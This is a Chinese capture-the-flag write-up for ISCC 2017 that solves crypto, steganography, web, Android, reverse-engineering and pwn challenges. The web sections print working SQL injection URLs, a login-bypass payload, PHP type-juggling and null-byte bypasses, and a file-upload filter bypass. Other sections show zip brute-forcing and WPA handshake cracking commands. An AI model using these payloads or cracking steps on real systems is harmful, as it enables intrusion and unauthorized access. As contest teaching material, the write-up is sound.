ISCC 2017 WriteUp

CTF的启蒙ISCC-2017开始了。

Basic

Wheel Cipher


附件链接: 密码:jgjk

题目就已经有提示了。是Wheel Cipher加密(轮密码)。

神秘图片


附件链接: 密码:f7w7
图片使用foremost工具分离,得出一张猪圈密码图

最后flag为goodluck

告诉你个秘密


附件链接: 密码:4hv2
这个题目说是简单的加密,结果出来的都是要解密。
先对16进制转成字符串,观察字符串是base64加密的,再解密

得到

1
2
r5yG lp9I BjM tFhB
T6uh y7iJ QsZ bhM

参照键盘。
flag为:TONGYUAN

你猜猜。。


附件链接: 密码:atys
将16进制转字符,发现有pk字样。
然后用HxD将这十六进制保存为zip。
是一个加密的zip文件,猜123456弱口令得出flag。
flag为daczcasdqwdcsdzasd

二维码


附件链接: 密码:06wn
扫描二维码提示说路由器密码为flag,二维图片使用foremost工具分离,得出一张图和一个zip。
再对zip进行破解

1
fcrackzip -b -c '1' -l 1-10 -u crack_this.zip

密码为20161114,得到一个握手包和破解记录,然后写个脚本生成字典

1
2
3
4
5
6
7
8
a = open('11.txt','w')
c="QWERTYUIOPASDFGHJKLZXcVBNM1234567890"
for i in c:
for ii in c:
for iii in c:
for iiii in c:
cc='ISCC'+i+ii+iii+iiii
a.write(cc+'\n')

既然是握手包,又是路由,那还是破解

1
aircrack-ng -w zidian.txt freedom-*.cap


flag为ISCC16BA

说我作弊,需要证据


附件链接: 密码:gey4
这道题有原题:Creative Cheating [crypto] (150))

公邮密码


附件链接: 密码:beaj
除了爆破还是爆破。
fcrackzip -b -c 'A' -l 1-3 -u crack_this.zip
密码为BIT
TXT里面为RmxhZzp7THkzMTkuaTVkMWYqaUN1bHQhfQ==
Flag:{Ly319.i5d1f*iCult!}

PHP_encrypt_1


附件链接: 密码:6aa4
附件是一个加密脚本,那改一下就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function decrypt()
{
$key = md5('ISCC');
$data = base64_decode('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=');
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$tmp = ord($data[$i]) - ord($char[$i]) + 128;
$str .= chr($tmp > 128 ? $tmp-128:$tmp);
}
echo $str;
}
decrypt();
?>

或者用python都没有问题的。

flag为Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

Misc

眼见非实


附件链接: 密码:4alx
打开发现是个docx文档。既然是Misc题,那隐写跑不掉了,而且去年的那到毕业论文也是这样。
但是这道题,在点开document.xml就见到flag。

flag为flag{F1@g}

就在其中


附件链接: 密码:nsue
是一个流量包,丢到wireshark对流量包进行分析,发先是有FTP协议,那就转用NetworkMiner。

把四个文件提取出来,有RSA的公钥和私钥,还有个key.zip。

用私钥解就可以了。

1
openssl rsautl -decrypt -in key.txt -inkey test.key -out 1.txt

flag为haPPy_Use_0penSsI

很普通的Disco


附件链接: 密码:1w2d

大大音频,用Audacity打开。
纵观全局没有那个地方是可疑的,那就再放大。

在最前面的发现了、

高为1低为0。
总共105个,分成15组每组7个。
flag{W0W*funny}

很普通的数独


附件:链接 密码:el7r
以数独混淆,其实是将这25张图组成5*5的二维码。
QQ图片20170508101652.png
先把这三张图互换位置。
补脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
import pytesseract
from PIL import Image, ImageDraw
def get_qr_list():
qr_list = list()
for a in range(5 * 9):
qr_list.append(list())
for b in range(5 * 9):
qr_list[a].append(0)
for e in range(5):
for f in range(5):
fname = '%s.png' % (e * 5 + f + 1)
img = Image.open(fname).convert('L')
sx, sy, ex, ey, tx = 0, 0, 0, 0, 2
for x in range(9):
ty = 2
tx += 1
sx = x * 22 + tx + 1
for y in range(9):
ty += 1
sy = y * 21 + ty + 1
ex, ey = sx + 20, sy + 19
img_temp = img.crop((sx, sy, ex, ey))
code = pytesseract.image_to_string(img_temp, config="-psm 5")
if code!='':
qr_list[f * 9 + x][e * 9 + y] = 1
print(qr_list[f * 9 + x][e * 9 + y], (x, y), (sx, sy, ex, ey), (e, f, x, y))
return qr_list
def get_qr_image(qr_list):
img = Image.new('L', (10 * 47, 10 * 47), (255))
draw = ImageDraw.Draw(img)
for e in range(5 * 9):
for f in range(5 * 9):
if qr_list[f][e]:
draw.rectangle(((e + 1) * 10, (f + 1) * 10, (e + 2) * 10, (f + 2) * 10 ), fill=(0))
print(qr_list[f][e], ' ', end='')
print()
img.save('flag.png')
if __name__ == '__main__':
get_qr_image(get_qr_list())

flag.png
扫描得出

1
Vm0xd1NtUXlWa1pPVldoVFlUSlNjRlJVVGtOamJGWnlWMjFHVlUxV1ZqTldNakZIWVcxS1IxTnNhRmhoTVZweVdWUkdXbVZHWkhOWGJGcHBWa1paZWxaclpEUmhNVXBYVW14V2FHVnFRVGs9

flag为:flag{y0ud1any1s1}

再见李华


附件链接: 密码:papu
附件中是一张图片,foremost将zip提出来,打开需要密码。
这个题目就略坑了,满满的都是脑洞,没有特殊字符,是指密码中没有特殊字符。而不少于1000个字,这个1000是8的二进制,所以密码是9位或9位以上,最后署名,意思是密码中后面5位数是Lihua。利用之前的脚本直接生成一个,但是fcrackzip抽风怎么都破解不出来。
最后用Advanced ZIP Password Recovery_4.0进行破解。
最后密码为15CCLiHua
或者直接暴力破解吧,花的是时间。
附脚本:

flag为Stay hungry, Stay foolish.

寻”文”启事

1.png
附件链接: 密码:tzli

getflag.py来看,需要5个32位的字符串,从所有的文本文件中找出了13个,进行排列。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import re
import binascii
from itertools import permutations
ii = open('ii.txt','w')
def fuc_1():
s = set()
pattern = re.compile(r'[0-9a-f]{32}')
for i in range(0, 6000):
fname = './data/%s.txt' % i
with open(fname, 'rt') as fs:
tmp = fs.read()
match = pattern.match(tmp)
if match:
s.add(match.group())
return s
def fuc_2(s):
tmp = permutations(list(s), 5)
for a, b, c, d, e in tmp:
fuc_c(a, b, c, d, e)
def fuc_c(a, b, c, d, e):
Flag = ''
File1_rc = binascii.unhexlify(a)
File2_rc = binascii.unhexlify(b)
File3_rc = binascii.unhexlify(c)
File4_rc = binascii.unhexlify(d)
File5_rc = binascii.unhexlify(e)
for i in range(0,16):
temp = ord(File1_rc[i]) + ord(File2_rc[i]) + ord(File3_rc[i]) + ord(File4_rc[i]) + ord(File5_rc[i])
Flag = Flag + chr((temp % 255))
jj = "Flag:{" + binascii.hexlify(Flag)+ "}"
#print "Flag:{" + binascii.hexlify(Flag) + "}"
print jj
ii.write(jj+'\n')
fuc_2(fuc_1())

最后的结果为1287个,但是没有正确的flag,求hit。

Web

WelcomeToMySQL


测试后上传php5成功,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if(isset($_FILES["file"])){
if(preg_match("/\.php[2,3,4]$/",$_FILES["file"]["name"]))
echo '<script>alert("You are a good man")</script>';
else if(preg_match("/\.php$/",$_FILES["file"]["name"]))
echo '<script>alert("You are a good man")</script>';
else if(preg_match("/\.phtml$/",$_FILES["file"]["name"]))
echo '<script>alert("phtml does not work ")</script>';
else if($file=$_FILES["file"]["tmp_name"]){
move_uploaded_file($file, "/var/www/html/web-01/upload/".$_FILES["file"]["name"]);
echo "uploaded successfully!"."<br/>";
echo '<!--$servername,$username,$password,$db,$tb were set in base.php-->';
echo "Your file stored in: "."upload/".$_FILES["file"]["name"];
}
}
?>
<html>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
file:<input type="file" name="file" /><br/>
<input type="submit" name="submit" value="upload" />
</form>
</body>
</html>

确实就还剩下常规的php5和pht没有没被限制。
根据提示的信息就是flag在数据库里面。用cat base.php读取配置从而进行连接。
flag:Flag:{Iscc_1s_Fun_4nd_php_iS_Easy}

自相矛盾


源码见到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['iscc']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["bar2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
echo $flag;
}

是有关弱类型的、弱类型的分析之前已经写过。

可以看出iscc是一个jason对象。
bar1要求里边元素第一个比2016大而且不能是数字, 这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。 bar1为2017a即可
bar2是一个数组,长度是5,里边第一个元素是数组。bar2为[[0],0,1,2,3]即可

而array和string进行strcmp比较的时候会返回一个null,%00可以截断eregi。cat[0]=00isccctf2017&cat[1][]=1234&dog=%00
最后提交

1
?iscc={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=00isccctf2017&cat[1][]=1234&dog=%00

flag为:flag{sfklljljdstuaft}

I have a jpg,i upload a txt.

1.png
代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<html>
<body>
<?php
include 'hanshu.php';
if(isset($_GET['do']))
{
$do=$_GET['do'];
if($do==upload)
{
if(empty($_FILES))
{
$html1=<<<HTML1
<form action="index.php?do=upload" method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" value="upload">
</form>
HTML1;
echo $html1;
}
else
{ $file=@file_get_contents($_FILES["filename"]["tmp_name"]);
if(empty($file))
{
die('do you upload a file?');
}
else
{
if((strpos($file,'<?')>-1)||(strpos($file,'?>')>-1)||(stripos($file,'php')>-1)||(stripos($file,'<script')>-1)||(stripos($file,'</script')>-1))
{
die('you can\' upload this!');
}
else
{
$rand=mt_rand();
$path='/var/www/html/web-03/uploads/'.$rand.'.txt';
file_put_contents($path, $file);
echo 'your upload success!./uploads/'.$rand.'.txt';
}
}
}
}
elseif($do==rename)
{
if(isset($_GET['re']))
{
$re=$_GET['re'];
$re2=@unserialize(base64_decode(unKaIsA($re,6)));
if(is_array($re2))
{
if(count($re2)==2)
{
$rename='txt';
$rand=mt_rand();
$fp=fopen('./uploads/'.$rand.'.txt','w');
foreach($re2 as $key=>$value)
{
if($key==0)
{
$rename=$value;
}
else
{
if(file_exists('./uploads/'.$value.'.txt')&&is_numeric($value))
{
$file=file_get_contents('./uploads/'.$value.'.txt');
fwrite($fp,$file);
}
}
}
fclose($fp);
waf($rand,$rename);
rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename);
echo "you success rename!./uploads/$rand.$rename";
}
}
else
{
echo 'please not hack me!';
}
}
elseif(isset($_POST['filetype'])&&isset($_POST['filename']))
{
$filetype=$_POST['filetype'];
$filename=$_POST['filename'];
if((($filetype=='jpg')||($filetype=='png')||($filetype=='gif'))&&is_numeric($filename))
{
$re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);
header("Location:index.php?do=rename&re=$re");
exit();
}
else
{
echo 'you do something wrong';
}
}
else
{
$html2=<<<HTML2
<form action="index.php?do=rename" method="post">
filetype: <input type="text" name="filetype" /> please input the your file's type
</br>
filename: <input type="text" name="filename" /> please input your file's numeric name,like 12345678
</br>
<input type="submit" />
</form>
HTML2;
echo $html2;
}
}
}
else
{
show_source(__FILE__);
}
?>
</body>
</html>

这道题就做得吐血了。

先来读一下代码

上传部分。

1
if((strpos($file,'<?')>-1)||(strpos($file,'?>')>-1)||(stripos($file,'php')>-1)||(stripos($file,'<script')>-1)||(stripos($file,'</script')>-1))

上传的里面不能包含有这一些参数,这里的办法就是拆开上传,比如是这样的。
1.png
而接下来遇到的问题就是该如何合并这些参数。

rename部分

1
2
3
$re2=@unserialize(base64_decode(unKaIsA($re,6)))
>>>>>
$re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);

要算出那个加密串才行。而相对应的解密脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def main(string):
# 获取凯撒位移6的加密内容
kaisa_6 = kaisa(string,6)
# 获取凯撒位移20的加密内容
kaisa_20 = kaisa(string,20)
code = ""
for x in range(0,len(kaisa_6)):
kaisa_6_ord = ord(kaisa_6[x])
kaisa_20_ord = ord(kaisa_20[x])
#判断凯撒位移20的是否是小写的值,是的话就加上
if kaisa_20_ord >= 97 and kaisa_20_ord <= 122:
code += str(kaisa_20[x])
else:
code += str(kaisa_6[x])
return code

卡住了。

大佬提示foreach是关键,又是一脸懵逼。再继续。
12.png
这里就解决了开始分开上传的合并问题。
最后
1.png
flag为flag{54a5bd4fe6193580020487b56acff6c5}
这道题主要还是这个加密的问题。exp地址链接 密码:7lcu
最后附上一个比我这个好的writeup

Web签到题,来和我换flag啊!

根据提示来就可以了。

flag为f1ag: {N0w_go1Odo!otherw3b}

我们一起来日站


点击链接进去发现提示

1
2
3
老司机们平时都是怎么日站的呢?
试着进入后台获取管理员权限吧。

看到老司机,那就先看下robots.txt。出现了

里面这一串md5加密一看就是admin
访问提示要继续寻找admin管理页面。
猜测是admin.php,就出现了后台登陆页面、
尝试弱口令,提示密码错误。尝试万能密码。

flag为Flag:{ar32wefafafqw325t4rqfcafas}

where is your flag


使用sqlmap可以直接跑出来
或者手工。

1
http://139.129.108.53:6980/web-08/?id=%df%27%20union%20select%201,unhex(hex(thisisflag))%20from%20flag%20limit%201--+

flag为flag:{441b7fa1617307be9632263a4497871e}

Simple sqli

捕获.PNG
是一个登陆框,这道题加了验证码。
这种题目得常规的判断逻辑应该是

1
select username from admin where username='';

如果数据库中的密码和输入的密码一样则登陆成功
然后尝试'union select '1'#
提示密码错误。
再尝试
捕获.PNG
最后payload为

1
2
'union select md5(1)#
密码填写1

关于验证码,ctf中经常用MD5的截断比较做验证,如:substr(md5(captcha), 0, 3)=’a85’,通过这种方式限制脚本的自动化攻击。

1
2
3
4
5
6
7
8
9
10
<?php
@$demo=$_GET['demo'];
$i=0;
while(1) {
if (substr(md5($i), 0, 3)===$demo)
{echo $i;die;}
$i++;
}
?>

python版本网上有的

1
2
3
4
5
6
7
#!/usr/bin/env python
import hashlib
def md5(s):
return hashlib.md5(s).hexdigest()
for i in range(1, 9999):
if md5(str(i)).startswith('a85'):
print i

最后效果
GIF.gif

select

这道题刚做出来就被下架了,分数清零。
题目本是反序列化的题目,但是可能是出题人头很铁.

1
http://139.129.108.53:5555/index.php?select=0 and 1=2 union select flag from selct&time=1

这样就可以解出来了。

Moblie

简单到不行


附件链接: 密码:hd1q

这里使用 jeb 进行 APK 的反编译
直接将 APK 拖入窗口左边的工程栏目 , 就会自动进行反编译

根据对代码的分析可以知道 , 这个安卓应用有两个控件 :
一个 EditText 用于接收用户输入 , 另一个 Button 用于检验用户输入是否合法
继续往下看
发现应用要调用JNI层的函数 : checkFlag,再用IDA打开相关的so文件主要函数如下

这里反编译成的 c 代码在有的地方似乎存在一点问题 , 如果发现某些地方比较诡异的话
再回去看看汇编基本上就可以明白了。而在这个checkFlag函数中,

主要是将传入的字符串使用了 malloc 重新复制了一份
算法的意思是 :
将用户输入的字符串按照长度分割成两半
把前一半字符串中的字符按照从左到右的顺序取出来 , ASCII码减去 5 , 然后与后半个字符串与之对应的位置进行交换
举个例子 :

1
2
3
4
5
6
7
用户输入的字符串 str = "8793245632"
分成两半 :
前一半为 : "87932"
后一半为 : "45632"
对前一半的所有字符 , 从左向右取 , 第一个取到的是 8 , ASCII - 5 , 变成字符 3 , 然后与后半个字符串的对应位置 (也就是 '2' ) 的位置进行交换
那么这一次变换得到的结果就是 :
str = "279324563"

那么这个算法总结一下的话 , 其实可以这样理解 :
首先将整个字符串倒序 , 然后将后半个字符串的每一个字符ASCII都减去 5
再往下看。处理完用户输入的字符串的时候 , 进行的操作是 :
将用户处理完的结果和程序中已经存在的一段数据逐字符进行对比 , 对比如果完全一致就返回 1 , 反之就 return 0

从so文件中找到字符串为

1
=0HWYl1SE5UQWFfN?I+PEo.UcshU

那我们就是先将这个密文倒序再将前半部分的ASCII码全部加上5。
将得到的base64进行解密即可。
1.png

突破!征服!


附件链接: 密码:7nx1

flag:6ae379eaf3ccada5

再来一次

1.png
附件链接: 密码:20y5
1.png
flag{ISCCXiaoTianShi}

Reverse

你猜

附件链接: 密码:k3g0
一度怀疑我这个IDA是假的,显示的不是main函数。。。(后来问了逆向大兄弟,是因为在编译时去掉了符号表,在高版本自带的sig信号文件可以识别出)

从main函数来看,这个程序出现了两个验证。

验证 I


在IDA中,使用R能快速的将ASCII码转换成字符串,所以V5至V14依次为l1nuxcrack
而根据

1
2
3
4
5
6
7
8
for ( i = 0; i <= 4; ++i )
{
if ( *(_BYTE *)(*(_QWORD *)(a1 + 8) + i) != *(&v5 + i) )
{
result = 1LL;
goto LABEL_12;
}
}

这是对l1nux的验证

1
2
3
4
5
6
7
8
for ( j = 0; j <= 4; ++j )
{
if ( *(_BYTE *)(*(_QWORD *)(a1 + 16) + j) != *(&v10 + j) )
{
result = 1LL;
goto LABEL_12;
}
}

这是对crack的验证
所以这部分代码可以断定第一个和第二个字符串分别为l1nuxcrack

验证 II

回过来对第二个验证分析,看一下函数

和前面分析过的函数差别不大,只是 ASCII 码的判断 , 进行简单的加减法就可以推算出第三个 password

73,76,67,70,33==ILCF!

flag{l1nux_crack_ILCF!}

小试牛刀

附件链接: 密码:9305
有点小幸运,直接看到了验证函数。再换算,将各个字符进行位置调整。

flag{1t.is.5O.easy}

大杂烩

附件链接: 密码:7ugp
下载打开,是个EXE文件,估计着要脱壳。
运行提示try again!,扔进IDA。然后就没然后了,等小伙伴分析分析。
flag{thx_4_your_register}

顺藤摸瓜

附件链接: 密码:bdgn
老套路IDA F5大法。

先一句一句来看吧
s给的空间住够大,104个字符。
fgets()函数是读取文件字符串,
srand函数是随机数发生器的初始化函数。原型:void srand(unsigned int seed);
在C语言中中,unsigned int类型数据所占字节数跟和机器字长及编译器有关系。
main函数主要是读取用户输入,类型转换作为随机数序列的种子,两次自定义的encode函数,最后输出encode结果。

encode1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
size_t __fastcall sub_400796(const char *a1)
{
size_t result; // rax@11
signed int i; // [sp+18h] [bp-18h]@1
signed int k; // [sp+18h] [bp-18h]@7
signed int j; // [sp+1Ch] [bp-14h]@2
for ( i = 0; i <= 25; ++i )
{
for ( j = 0; j <= 25; ++j )
*(&byte_6010C0[26 * i] + j) = (i + j) % 26 + 97;
}
for ( k = 0; ; ++k )
{
result = strlen(a1);
if ( k >= result )
break;
if ( (*__ctype_b_loc())[a1[k]] & 0x200 )
a1[k] = *(&byte_6010C0[26 * ((a1[k] - 97) % 26)] + (byte_601070[(signed __int64)(k % 26)] - 97) % 26);
}
return result;
}

byte_6010C0的内容为空。

byte_601070的内容为qwertyuiopaasdfghjklzxcvbnm

而第一个for生成了一个表,第二个for是表对应位置加上一个数。

encode2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall sub_400937(const char *a1)
{
int v1; // eax@7
int v2; // ebx@8
char v4; // [sp+1Bh] [bp-F5h]@3
signed int i; // [sp+1Ch] [bp-F4h]@1
int j; // [sp+20h] [bp-F0h]@2
int v7; // [sp+24h] [bp-ECh]@1
unsigned int v8; // [sp+28h] [bp-E8h]@1
int v9; // [sp+2Ch] [bp-E4h]@1
char src[200]; // [sp+30h] [bp-E0h]@7
__int64 v11; // [sp+F8h] [bp-18h]@1
v11 = *MK_FP(__FS__, 40LL);
v7 = 0;
v8 = rand() % 7 + 2;
v9 = strlen(a1) / (signed int)v8 + 1;
for ( i = 0; i < (signed int)v8; ++i )
{
for ( j = 0; j < v9; ++j )
{
v4 = a1[v8 * j + i];
if ( (*__ctype_b_loc())[v4] & 0x200 || v4 == 123 || v4 == 125 || v4 == 95 )
{
v1 = v7++;
src[v1] = v4;
}
else
{
v2 = v7++;
src[v2] = rand() % 26 + 97;
}
}
}
src[v7] = 0;
strcpy((char *)a1, src);
return *MK_FP(__FS__, 40LL) ^ v11;
}

这个就不懂了。队友做。

exp地址链接 密码:6v9j

flag{decrypt_game_is_very_very_interesting}

Reverse最大的感受就是:当初怎么没把C语言给学好呢。

pwn

pwn1

附件链接: 密码:of1u
exp链接: 密码:blfw
Capture.PNG

pwn2

附件链接: 密码:cgvp
exp链接: 密码:z8xb
flag{SF#PWN2Hd93DxnsE}

没有过程的不打算补了,好废时间。

没有misc400的wp都不是好wp。

!坚持技术分享,您的支持将鼓励我继续创作!